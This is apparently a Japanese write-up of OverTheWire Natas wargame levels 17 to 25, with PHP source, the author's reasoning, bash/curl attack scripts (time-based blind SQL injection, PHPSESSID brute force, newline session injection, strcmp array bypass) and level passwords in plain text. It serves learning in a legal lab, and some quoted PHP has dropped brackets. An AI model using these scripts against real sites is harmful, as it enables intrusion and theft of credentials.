if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas17', '<censored>');
    mysqli_select_db($link, 'natas17');
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    
    if(array_key_exists("debug", $_GET)) {  
        echo "Executing query: $query<br>";  
    }    
    $res = mysqli_query($link, $query);  
    if($res) {  
        if(mysqli_num_rows($res> 0) { 
            //echo "This user exists.<br>";    
        } else {  
            //echo "This user doesn't exist.<br>";   
        }  
    } else {      
      //echo "Error in query.<br>";  
    }
    mysqli_close($link);  
} else {  
?>  
  
<form action="index.php" method="POST">  
Username: <input name="username"><br>  
<input type="submit" value="Check existence" />  
</form>  
<?php } ?>  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>  
</div>  
</body>  
</html>

全部コメントアウトされている!?

まじで何も見当がつかない。

答えを見ました。MySQLにはsleep関数があって、where句で使うとショートサーキットによって実行時間を変えることができるとのこと。

https://www.abatchy.com/2016/12/natas-level-17

やばすぎる。天才すぎて怖い。

せめてスクリプトは自分で書いて精進します。

#!/bin/bash

query() {
    if ! timeout 5s curl -s -u natas17:XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd -X POST -d "username=natas18\" and password like binary \"$1$2%\" and sleep(10) -- " http://natas17.natas.labs.overthewire.org/ > /dev/null; then
        echo "$2"
    fi
}

pass=""
for _ in {1..32}; do
    pass+=$(
        for l in {a..z}; do query "$pass" "$l"; done;
        for l in {A..Z}; do query "$pass" "$l"; done;
        for n in {0..9}; do query "$pass" "$n"; done;)
    echo "$pass"
done
~$ ./test.sh
8
8N
8NE
8NED
8NEDU
8NEDUU
8NEDUUx
8NEDUUxg
8NEDUUxg8
8NEDUUxg8k
8NEDUUxg8kF
8NEDUUxg8kFg
8NEDUUxg8kFgP
8NEDUUxg8kFgPV
8NEDUUxg8kFgPV8
8NEDUUxg8kFgPV84
8NEDUUxg8kFgPV84u
8NEDUUxg8kFgPV84uL
8NEDUUxg8kFgPV84uLw
8NEDUUxg8kFgPV84uLwv
8NEDUUxg8kFgPV84uLwvZ
8NEDUUxg8kFgPV84uLwvZk
8NEDUUxg8kFgPV84uLwvZkG
8NEDUUxg8kFgPV84uLwvZkGn
8NEDUUxg8kFgPV84uLwvZkGn6
8NEDUUxg8kFgPV84uLwvZkGn6o
8NEDUUxg8kFgPV84uLwvZkGn6ok
8NEDUUxg8kFgPV84uLwvZkGn6okJ
8NEDUUxg8kFgPV84uLwvZkGn6okJQ
8NEDUUxg8kFgPV84uLwvZkGn6okJQ6
8NEDUUxg8kFgPV84uLwvZkGn6okJQ6a
8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq

長かった、、

パスワード:8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq

Level 18 to 19

<html>  
<head>  
<!-- This stuff in the header has nothing to do with the level -->  
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />  
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>  
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>  
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>  
<script>var wechallinfo = { "level": "natas18", "pass": "<censored>" };</script></head>  
<body>  
<h1>natas18</h1>  
<div id="content">  
<?php  
  
$maxid = 640; // 640 should be enough for everyone  
  
function isValidAdminLogin() { /* {{{ */
    if($_REQUEST["username"== "admin"
    /* This method of authentication appears to be unsafe and has been disabled for now. */ 
        //return 1;   
    }
    return 0;  
}

/* }}} */  
function isValidID($id) { /* {{{ */
    return is_numeric($id);  
}

/* }}} */  
function createID($user) { /* {{{ */ 
    global $maxid;  
    return rand(1, $maxid);  
}  
/* }}} */  
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {  
        print "DEBUG: $msg<br>";  
    }  
}  
/* }}} */  
function my_session_start() { /* {{{ */
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {  
        if(!session_start()) {
            debug("Session start failed");
            return false;
        } else {
            debug("Session start ok");
            if(!array_key_exists("admin", $_SESSION)) {
                debug("Session was old: admin flag set");
                $_SESSION["admin"= 0; // backwards compatible, secure
            }
            return true;
        }
    }
    return false;
}  
/* }}} */  
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"== 1) {  
    print "You are an admin. The credentials for the next level are:<br>";  
    print "<pre>Username: natas19\n";  
    print "Password: <censored></pre>";  
    } else {  
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";  
    }  
}  
/* }}} */  
  
$showform = true;  
if(my_session_start()) {
    print_credentials();
    $showform = false;  
} else {      if(array_key_exists("username", $_REQUEST&& array_key_exists("password", $_REQUEST)) 
        session_id(createID($_REQUEST["username"]));
        session_start();
        $_SESSION["admin"= isValidAdminLogin();
        debug("New session started"); 
        $showform = false; 
        print_credentials();  
    }  
}  
  
if($showform) {
?>  
  
<p>  
Please login with your admin account to retrieve credentials for natas19.  
</p>  
  
<form action="index.php" method="POST">  
Username: <input name="username"><br>  
Password: <input name="password"><br>  
<input type="submit" value="Login" />  
</form>  
<?php } ?>  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>  
</div>  
</body>  
</html>

PHPSESSIDにセッションIDが保存されているらしい。

ターゲットのユーザーネームはadmin$_SESSION["admin"]の値を1にしなければprint_credentialsは呼ばれないが、その肝心なisValidAdminLoginの部分がコメントアウトされている。

おそらく新規にログインしてセッションを作ってもどうしようもないと思うので、0から640までのセッションIDを全部試してみる。

#!/bin/bash

for i in {0..640}; do

curl -s -u natas18:8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq --cookie "PHPSESSID=$i" http://natas18.natas.labs.overthewire.org/?debug | grep -A 2 "You are an admin"

done
~$ ./test.sh
DEBUG: Session start ok<br>You are an admin. The credentials for the next level are:<br><pre>Username: natas19
Password: 8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s</pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

やった。久しぶりに自力で解けた。

パスワード:8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s

Level 19 to 20

今回は見れないが、ソースコードはさっきとほぼ同じらしい。

試しに同じユーザーネームadminとパスワードpassで2回試してみる。

3530302d61646d696e
32332d61646d696e
3138352d61646d696e

ユーザーネーム・パスワードでセッションIDが一意に決まるわけではなさそう。

十数桁を総当たりするのは厳しいので、ユーザーネーム・パスワード固定でもう少しパターンを探してみる。

353030 2d61646d696e
3233   2d61646d696e
313835 2d61646d696e
363332 2d61646d696e
343737 2d61646d696e
3936   2d61646d696e
353534 2d61646d696e

最後の2d61646d696eは同じっぽい。あとセッションID文字数が奇数だと次のようなエラーが出る。

2桁でセットであると考えると、使われている文字的にもASCIIコード(HEX)っぽい。

2d61646d696eを戻してみる。

~$ echo 2d61646d696e | xxd -r -p
-admin%

なるほど。ユーザーネームが最後についているのか。

~$ echo 3935 | xxd -r -p
95%
~$ echo 353534 | xxd -r -p
554%

最初は3桁くらいのランダムな数字?

とりあえずこれで総当たりしてみる。

#!/bin/bash

for i in {10..999}; do
    id=$(echo -n "$i" | xxd -p)
    curl -s -u natas19:8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s --cookie "PHPSESSID=${id}2d61646d696e" http://natas19.natas.labs.overthewire.org/?debug | grep -A 2 "You are an admin"
done
./test2.sh
DEBUG: Session start ok<br>You are an admin. The credentials for the next level are:<br><pre>Username: natas20
Password: guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH</pre></div>
</body>

パスワード:guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH

Level 19 to 20

<html>  
<head>  
<!-- This stuff in the header has nothing to do with the level -->  
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />  
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>  
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>  
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>  
<script>var wechallinfo = { "level": "natas20", "pass": "<censored>" };</script></head>  
<body>  
<h1>natas20</h1>  
<div id="content">  
<?php  
  
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"== 1) {
        print "You are an admin. The credentials for the next level are:<br>";
        print "<pre>Username: natas21\n";
        print "Password: <censored></pre>";
    } else {print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }  
}
/* }}} */  
  
/* we don't need this */  
function myopen($path, $name) {
    //debug("MYOPEN $path $name");
    return true;
}  
  
/* we don't need this */  
function myclose() {
    //debug("MYCLOSE");
    return true;
}  
  
function myread($sid) {
    debug("MYREAD $sid");  
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-"!= strlen($sid)) {
        debug("Invalid SID");  
        return "";
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;  
    if(!file_exists($filename)) {
        debug("Session file doesn't exist");  
        return "";
    }
    debug("Reading from ". $filename);
    $data = file_get_contents($filename);
    $_SESSION = array();
    foreach(explode("\n", $data) as $line) {
        debug("Read [$line]");
        $parts = explode(" ", $line, 2);
        if($parts[0!= ""$_SESSION[$parts[0]] = $parts[1];  
    }
    return session_encode();  
}
  
function mywrite($sid, $data) { 
    // $data contains the serialized version of $_SESSION 
    // but our encoding is better
    debug("MYWRITE $sid $data");
    // make sure the sid is alnum only!!
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-"!= strlen($sid)) {
        debug("Invalid SID");  
        return;  
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    $data = "";
    debug("Saving in ". $filename);
    ksort($_SESSION);
    foreach($_SESSION as $key => $value) {
        debug("$key => $value");
        $data .= "$key $value\n";
    }
    file_put_contents($filename, $data);    chmod($filename, 0600);
}
  
/* we don't need this */  
function mydestroy($sid) {
    //debug("MYDESTROY $sid");
    return true; 
}  
/* we don't need this */  
function mygarbage($t) {
    //debug("MYGARBAGE $t");
    return true;
}  
  
session_set_save_handler(
    "myopen",
    "myclose",
    "myread",
    "mywrite",
    "mydestroy",
    "mygarbage");  
session_start();  
  
if(array_key_exists("name", $_REQUEST)) {
    $_SESSION["name"= $_REQUEST["name"];
    debug("Name set to " . $_REQUEST["name"]);
}
  
print_credentials();  
  
$name = "";  
if(array_key_exists("name", $_SESSION)) {
    $name = $_SESSION["name"];  
}
?>  
  
<form action="index.php" method="POST">  
Your name: <input name="name" value="<?=$name?>"><br>  
<input type="submit" value="Change name" />  
</form>  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>  
</div>  
</body>  
</html>

なんか下の方にエラーが出ている。ただあまり関係なさそう。

セッションIDの読み込みと書き込みのコールバックが定義されてる。これがメインだと思うので今回はセッションハイジャックではなさそう。

なんとかしてセッションファイルにadmin 1を追加で書き込みたい。

書き込みが行われるのは$data .= "$key $value\n";の行だが、おそらくエスケープされていないのでフォームのユーザーネームにadmin\nadmin 1とでも入力すれば良さそう。

対策されてる!?

と思ったらURLエンコードがうまくされてなかったみたい。

\nのバックスラッシュがそのまま%5Cに、スペースが+に置き換わっている。

curlを使ってエンコードを指定する。

~$ curl -u natas20:guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH -X POST -d "name=admin%0Aadmin%201" http://natas20.natas.labs.overthewire.org/\?debug
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas20", "pass": "guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH" };</script></head>
<body>
<h1>natas20</h1>
<div id="content">
DEBUG: MYREAD bhaaa5njerbkut3v6banoar23e<br>DEBUG: Session file doesn't exist<br>DEBUG: Name set to admin
admin 1<br>You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.
<form action="index.php" method="POST">
Your name: <input name="name" value="admin
admin 1"><br>
<input type="submit" value="Change name" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
DEBUG: MYWRITE bhaaa5njerbkut3v6banoar23e name|s:13:"admin
admin 1";<br>DEBUG: Saving in /var/lib/php/sessions/mysess_bhaaa5njerbkut3v6banoar23e<br>DEBUG: name => admin
admin 1<br><br />
<b>Warning</b>:  Unknown: Session callback expects true/false return value in <b>Unknown</b> on line <b>0</b><br />
<br />
<b>Warning</b>:  Unknown: Failed to write session data using user defined save handler. (session.save_path: /var/lib/php/sessions) in <b>Unknown</b> on line <b>0</b><br />

あれ?

一瞬意味不明だったがよく考えればそれもそのはず。デバッグのメッセージが表示されている場所からもわかるように、myreadはページの最初、mywriteはページの最後で呼ばれている。

よって$_SESSION["name"] = $_REQUEST["name"];で書き込んだとき、$_SESSION["name"]は更新されているが、セッションファイルに書き込まれる前なので、admin%0Aadmin%201という値のままになる。だからprint_credentials$_SESSION["admin"]が未定義となる。

つまり与えられたクッキーを設定してもう一回読み込めばオッケー。

~$ curl -s -u natas20:guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH --cookie "PHPSESSID=tkr85f8u1i4u1ckp6stfmoga38" http://natas20.natas.labs.overthewire.org/\?debug | grep -A 2 "You are an admin"
DEBUG: MYREAD tkr85f8u1i4u1ckp6stfmoga38<br>DEBUG: Reading from /var/lib/php/sessions/mysess_tkr85f8u1i4u1ckp6stfmoga38<br>DEBUG: Read [admin 1]<br>DEBUG: Read [name admin]<br>DEBUG: Read []<br>You are an admin. The credentials for the next level are:<br><pre>Username: natas21
Password: 89OWrTkGmiLZLv12JY4tLj2c4FW0xn56</pre>
<form action="index.php" method="POST">

パスワード:89OWrTkGmiLZLv12JY4tLj2c4FW0xn56

Level 21 to 22

<!-- http://natas21.natas.labs.overthewire.org/ -->
<html>  
<head>  
<!-- This stuff in the header has nothing to do with the level -->  
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />  
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>  
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>  
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>  
<script>var wechallinfo = { "level": "natas21", "pass": "<censored>" };</script></head>  
<body>  
<h1>natas21</h1>  
<div id="content">  
<p>  
<b>Note: this website is colocated with <a href="http://natas21-experimenter.natas.labs.overthewire.org">http://natas21-experimenter.natas.labs.overthewire.org</a></b>  
</p>  
  
<?php  
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"== 1) {  
        print "You are an admin. The credentials for the next level are:<br>";  
        print "<pre>Username: natas22\n";  
        print "Password: <censored></pre>";  
    } else {  
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";  
    } 
}  
/* }}} */  

session_start();  
print_credentials();    
?>  
  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>  
</div>  
</body>  
</html>
<!-- http://natas21-experimenter.natas.labs.overthewire.org/ -->
<html>  
<head><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"></head>  
<body>  
<h1>natas21 - CSS style experimenter</h1>  
<div id="content">  
<p>  
<b>Note: this website is colocated with <a href="http://natas21.natas.labs.overthewire.org">http://natas21.natas.labs.overthewire.org</a></b>  
</p>  
<?php  
  
session_start();  

// if update was submitted, store it  
if(array_key_exists("submit", $_REQUEST)) {  
    foreach($_REQUEST as $key => $val) {
        $_SESSION[$key= $val;  
    }  
}  
  
if(array_key_exists("debug", $_GET)) {  
    print "[DEBUG] Session contents:<br>";
    print_r($_SESSION);  
}  
  
// only allow these keys  
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow");  
$form = "";  
$form .= '<form action="index.php" method="POST">';  
foreach($validkeys as $key => $defval) {
    $val = $defval;  
    if(array_key_exists($key, $_SESSION)) {
        $val = $_SESSION[$key];  
    } else {
        $_SESSION[$key= $val;  
    }
    $form .= "$key: <input name='$key' value='$val' /><br>";  
}  
$form .= '<input type="submit" name="submit" value="Update" />';  
$form .= '</form>';  

$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";";  
$example = "<div style='$style'>Hello world!</div>";  
?>  
  
<p>Example:</p>  
<?=$example?>  
  
<p>Change example values here:</p>  
<?=$form?>  
  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>  
</div>  
</body>  
</html>

“colocated”の意味がはっきりしないが、http://natas21.natas.labs.overthewire.org/の方には読むべきコードがないのでhttp://natas21-experimenter.natas.labs.overthewire.org/の方で考える。

フォームの入力を元に$_SESSIONをセットしているみたい。ただ、

if(array_key_exists("submit", $_REQUEST)) {  
    foreach($_REQUEST as $key => $val) {    $_SESSION[$key= $val;  
    }  
}

の部分にフィルターがかかっていないので、フォームにname="admin"かつvalue="1"であるようなinput要素を追加すれば良さそう。

ただhttp://natas21.natas.labs.overthewire.org/http://natas21-experimenter.natas.labs.overthewire.org/ではオリジンが違うので、後者のセッションIDを前者にコピーすることを忘れずに。

パスワード:91awVM9oDiUGm33JdzM7RVLBS8bz9n0s

Level 22 to 23

<?php  
session_start();  
  
if(array_key_exists("revelio", $_GET)) {
    // only admins can reveal the password
    if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"== 1)) {
       header("Location: /");  
    }
}  
?>  
  
<html>  
<head>  
<!-- This stuff in the header has nothing to do with the level -->  
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />  
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>  
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>  
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>  
<script>var wechallinfo = { "level": "natas22", "pass": "<censored>" };</script></head>  
<body>  
<h1>natas22</h1>  
<div id="content">  
  
<?php
if(array_key_exists("revelio", $_GET)) {  
    print "You are an admin. The credentials for the next level are:<br>";  
    print "<pre>Username: natas23\n";  
    print "Password: <censored></pre>";  
}  
?>  
  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>  
</div>  
</body>  
</html>

GETパラメータにrevelioがあればパスワードが表示されるようになっているが、$_SESSION["admin"]1じゃないとリダイレクトされるようになっている。

多分これはLocationヘッダーをブロックすればオッケー?

パスワード:qjA8cOoKFTzJhtV0Fzvt92fgvxVnVRBj

Level 23 to 24

<html>  
<head>  
<!-- This stuff in the header has nothing to do with the level -->  
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />  
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>  
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>  
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>  
<script>var wechallinfo = { "level": "natas23", "pass": "<censored>" };</script></head>  
<body>  
<h1>natas23</h1>  
<div id="content">  
  
Password:  
<form name="input" method="get">  
    <input type="text" name="passwd" size=20>  
    <input type="submit" value="Login">  
</form>  
  
<?php 
if(array_key_exists("passwd",$_REQUEST)){  
    if(strstr($_REQUEST["passwd"],"iloveyou"&& ($_REQUEST["passwd"> 10 )){  
        echo "<br>The credentials for the next level are:<br>";  
        echo "<pre>Username: natas24 Password: <censored></pre>";  
    } else{  
        echo "<br>Wrong!<br>";  
    }  
}
// morla / 10111  
?>    
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>  
</div>  
</body>  
</html>

ローカルで条件がどう評価されるのか確かめてみる。

~$ php -a
Interactive shell

php > echo "iloveyou" > 10;
1

おそらくASCIIコードあたりで比較しているのだろう。これはつまり"iloveyou"と入力すればいいだけ?

おかしい。なぜだ、、

本当に見当がつかないので答えを見てみる。

https://n0j.github.io/2017/03/23/otw-natas-23.html

どうやら"11iloveyou"とすればPHP"11"までパースして10と比較してくれるので、条件を真にできるらしい。

あれ?

ということは少なくともこのサーバーでは"iloveyou" > 10が偽になるってこと!?

オンラインのPHPサンドボックスで色々調べてみたら、

"iloveyou" > 10が偽になるもの:

"iloveyou" > 10が真になるもの:

などものによって動作が違った。そもそもそんな基本的な動作も定義されていないんだろうか。信じられない。

実際に確かめてみたかったけど流石に萎えた。

結論。PHPには関わらないようにしましょう。

パスワード:0xzF30T9Av8lgXhW7slhFCIsVKAPyl2r

Level 24 to 25

<html>  
<head>  
<!-- This stuff in the header has nothing to do with the level -->  
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />  
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>  
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>  
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>  
<script>var wechallinfo = { "level": "natas24", "pass": "<censored>" };</script></head>  
<body>  
<h1>natas24</h1>  
<div id="content">  
  
Password:  
<form name="input" method="get">  
    <input type="text" name="passwd" size=20>  
    <input type="submit" value="Login">  
</form>  
  
<?php 
if(array_key_exists("passwd",$_REQUEST)){  
    if(!strcmp($_REQUEST["passwd"],"<censored>")){  
        echo "<br>The credentials for the next level are:<br>";  
        echo "<pre>Username: natas25 Password: <censored></pre>";  
    }  
    else{  
        echo "<br>Wrong!<br>";  
    }  
}
// morla / 10111  
?>    
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>  
</div>  
</body>  
</html>

出ましたstrcmp

考えても時間の無駄だと思うので、strcmp脆弱性ググる

https://www.doyler.net/security-not-included/bypassing-php-strcmp-abctf2016

配列を渡したときにnullが帰ってくるので、!で真にすることができるみたい。

信じられない。もはや人災レベル。

まあそれはさておき、PHPサーバーに配列を渡すには配列名の後に[]を付け加えればいい。

curl -s -u natas24:0xzF30T9Av8lgXhW7slhFCIsVKAPyl2r -X POST -d "passwd[]=%22%22"  http://natas24.natas.labs.overthewire.org/
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas24", "pass": "0xzF30T9Av8lgXhW7slhFCIsVKAPyl2r" };</script></head>
<body>
<h1>natas24</h1>
<div id="content">

Password:
<form name="input" method="get">
    <input type="text" name="passwd" size=20>
    <input type="submit" value="Login">
</form>

<br />
<b>Warning</b>:  strcmp() expects parameter 1 to be string, array given in <b>/var/www/natas/natas24/index.php</b> on line <b>23</b><br />
<br>The credentials for the next level are:<br><pre>Username: natas25 Password: O9QD9DZBDq1YpswiTM5oqMDaOtuZtAcx</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

パスワード:O9QD9DZBDq1YpswiTM5oqMDaOtuZtAcx

Level 25 to 26

<!-- http://natas25.natas.labs.overthewire.org/ -->
<html>  
<head>  
<!-- This stuff in the header has nothing to do with the level -->  
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />  
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>  
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>  
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>  
<script>var wechallinfo = { "level": "natas25", "pass": "<censored>" };</script></head>  
<body>  
<?php
// cheers and <3 to malvina  
// - morla
function setLanguage() {
    /* language setup */
    if(array_key_exists("lang",$_REQUEST)) {
        if(safeinclude("language/" . $_REQUEST["lang"] )) {
            return 1; 
        }
        safeinclude("language/en");   
    }
}
      
function safeinclude($filename) {
    // check for directory traversal
    if(strstr($filename,"../") {  
        logRequest("Directory traversal attempt! fixing request.");
        $filename=str_replace("../","",$filename);
    }   
    // dont let ppl steal our passwords
    if(strstr($filename,"natas_webpass")){  
        logRequest("Illegal file access detected! Aborting!");  
        exit(-1);  
    }
    // add more checks...
    
    if (file_exists($filename)) {   
        include($filename);  
        return 1;  
    }  
    return 0;  
}  
      
function listFiles($path){
    $listoffiles=array();  
    if ($handle = opendir($path)) {
        while (false !== ($file = readdir($handle))) {
            if ($file != "." && $file != "..") {
                $listoffiles[]=$file; 
            }
        }
    }
    closedir($handle);          
    return $listoffiles;  

      
function logRequest($message){
    $log="[". date("d.m.Y H::i:s",time()) ."]";
    $log=$log . " " . $_SERVER['HTTP_USER_AGENT']; 
    $log=$log . \"" . $message ."\"\n";   
    $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
    fwrite($fd,$log);  
    fclose($fd);  
}
?>  
  
<h1>natas25</h1>  
<div id="content">  
<div align="right">  
<form>  
<select name='lang' onchange='this.form.submit()'>  
<option>language</option>  
<?php foreach(listFiles("language/") as $f) echo "<option>$f</option>"; ?>  
</select>  
</form>  
</div>  
  
<?php    
session_start(); 
setLanguage();    
echo "<h2>$__GREETING</h2>";  
echo "<p align=\"justify\">$__MSG";  
echo "<div align=\"right\"><h6>$__FOOTER</h6><div>";  
?>  
<p>  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>  
</div>  
</body>  
</html>
<!-- http://natas25.natas.labs.overthewire.org/language/en -->
<?php
global $__GREETING;
global $__MSG;
global $__FOOTER;

$__GREETING="Quote";

$__MSG="You see, no one's going to help you Bubby, because there isn't anybody out there to do it. No one. We're all just complicated arrangements of atoms and subatomic particles - we don't live. But our atoms do move about in such a way as to give us identity and consciousness. We don't die; our atoms just rearrange themselves. There is no God. There can be no God; it's ridiculous to think in terms of a superior being. An inferior being, maybe, because we, we who don't even exist, we arrange our lives with more order and harmony than God ever arranged the earth. We measure; we plot; we create wonderful new things. We are the architects of our own existence. What a lunatic concept to bow down before a God who slaughters millions of innocent children, slowly and agonizingly starves them to death, beats them, tortures them, rejects them. What folly to even think that we should not insult such a God, damn him, think him out of existence. It is our duty to think God out of existence. It is our duty to insult him. Fuck you, God! Strike me down if you dare, you tyrant, you non-existent fraud! It is the duty of all human beings to think God out of existence. Then we have a future. Because then - and only then - do we take full responsibility for who we are. And that's what you must do, Bubby: think God out of existence; take responsibility for who you are.";

$__FOOTER="Scientist, Bad Boy Bubby";
?>
<!-- https://natas25.natas.labs.overthewire.org/language/de -->
<?php
global $__GREETING;
global $__MSG;
global $__FOOTER;

$__GREETING="Zitat";

$__MSG="Wei&szlig;t du, niemand wird dir helfen Bubby. Denn es gibt Niemand, der dazu vorgesehen ist. Niemand. Wir sind alle nur komplizierte Anordnungen von Atomen und subatomaren Teilchen. Wir leben nicht. Unsere atome bewegen sich in einer Art und Weise, die uns Identit&auml;t und Bewustesein verleiht. Wir sterben auch nicht. Unsere Atome strukturieren sich nur um. Es gibt keinen Gott, es kann keinen Gott geben. Es ist l&auml;cherlich, in Kategorien eines h&ouml;heren Wesens zu denken. Eines niedrigeren Wesens, das k&ouml;nnte es vielleicht geben. Weil wir, die wir nicht mal existieren, unser Leben mit mehr Ordnung und Harmonie gestalten, als Gott jemals die Erde gestaltet hat. Wir essen, wir planen, wir erschaffen wunderbare Musik. Wir sind die Architekten unserer eigenen Existenz. Was f&uuml;r eine idiotische Vorstellung, sich vor einem Gott zu verneigen, der Millionen unschuldiger Kinder abschlachten l&auml;sst. Der f&uuml;r ihren langsamen und qualvollen Hungertod verantwortlich ist. Der zusieht, wie sie geschlagen und 